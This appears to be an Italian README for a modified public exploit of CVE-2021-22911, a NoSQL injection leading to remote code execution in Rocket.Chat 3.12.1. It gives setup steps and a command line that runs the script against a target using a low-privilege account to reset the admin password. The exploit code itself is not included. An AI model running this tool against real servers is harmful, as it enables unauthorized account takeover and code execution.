Exploit aggiornato per CVE-2021-22911 (Rocket.Chat 3.12.1 - NoSQL Injection to RCE (Unauthenticated))

crediti originali a : https://www.exploit-db.com/exploits/50108

Configurazione

• Crea un ambiente virtuale Python e installa le dipendenze

$ python -m venv venv
$ source venv/bin/activate
$ pip install requests oathtool

Utilizzo

• Ho aggiunto un nuovo argomento -p che prende la password dell'utente con privilegi bassi e la usa anche per resettare la password dell'admin

$ python 50108.py -u "[email protected]" -p "<low priv user password>" -a "admin@localhost" -t "http://<ip>:<port>"